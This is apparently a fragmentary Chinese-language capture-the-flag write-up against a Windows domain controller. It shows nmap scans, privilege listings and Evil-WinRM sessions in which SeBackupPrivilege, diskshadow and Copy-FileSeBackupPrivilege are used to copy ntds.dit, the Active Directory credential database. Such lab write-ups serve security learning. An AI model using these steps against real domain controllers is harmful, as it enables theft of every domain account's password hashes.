└─$ sudo nmap -sS 10.10.11.108 -p- --min-rate=3000 Nmap scan report for 10.10.11.108 Host is up (7.9s latency). Not shown: 61510 filtered tcp ports (no-response), 4018 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49664/tcp open unknown 49679/tcp open unknown
└─$ sudo nmap -sU 10.10.11.108 --top-ports=200 --min-rate=3000 Warning: 10.10.11.108 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.108 Host is up (0.49s latency). Not shown: 184 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 68/udp closed dhcpc 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap 427/udp closed svrloc 664/udp closed secure-aux-bus 1028/udp closed ms-lsa 1029/udp closed solid-mux 1433/udp closed ms-sql-s 3052/udp closed apc-3052 5000/udp closed upnps 6346/udp closed gnutella 32770/udp closed sometimes-rpc4 33281/udp closed unknown 49196/udp closed unknown
Privilege Name Description State ============================= =================================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemtimePrivilege Change the system time Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled
然后执行时显示，我输入的是-> set context persistent nowriter，我的结尾的s不见了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
*Evil-WinRM* PS C:\Windows\System32> diskshadow.exe /s c:\te\diskshadow.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: PRINTER, 1/2/202512:15:42 AM
CLIENTACCESSIBLE Specify to create shadow copies usable by client versions of Windows. PERSISTENT Specify that shadow copy is persist across program exit, reset or reboot. PERSISTENT NOWRITERS Specify that shadow copy is persistent and all writers are excluded. VOLATILE Specify that shadow copy will be deleted on exit or reset. VOLATILE NOWRITERS Specify that shadow copy is volatile and all writers are excluded.
Example: SET CONTEXT CLIENTACCESSIBLE
这里因为win和linux下的结尾换行符不一样，所以需要用到unix2dos，转一下格式
1 2
└─$ unix2dos diskshadow.txt -n diskshadow_dos.txt unix2dos: converting file diskshadow.txt to DOS format...
*Evil-WinRM* PS C:\Windows\System32> diskshadow.exe /s c:\te\diskshadow.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: PRINTER, 1/2/202512:23:19 AM
-> set context persistent nowriters -> add volume c: alias someAlias
COM call "(*vssObject)->InitializeForBackup" failed.
New Dir1 C:\Windows\NTDS\ New File 16.0 m ntds.dit 2025/01/0201:20:47 ERROR 32 (0x00000020) Copying File C:\Windows\NTDS\ntds.dit The process cannot access the file because it is being used by another process. Waiting 30 seconds...
Copy-FileSeBackupPrivilege : Opening input file. - The process cannot access the file because it is being used by another process. (Exception from HRESULT: 0x80070020) At line:1 char:1 + Copy-FileSeBackupPrivilege c:\windows\ntds\ntds.dit c:\te\ntds.dit -O ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Copy-FileSeBackupPrivilege], Exception + FullyQualifiedErrorId : System.Exception,bz.OneOEight.SeBackupPrivilege.Copy_FileSeBackupPrivilege
User Name SID ================== ============================================= return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= =================================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemtimePrivilege Change the system time Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled
*Evil-WinRM* PS C:\users\administrator\desktop> net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain
Group Name Type SID Attributes ========================================== ================ ============ =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
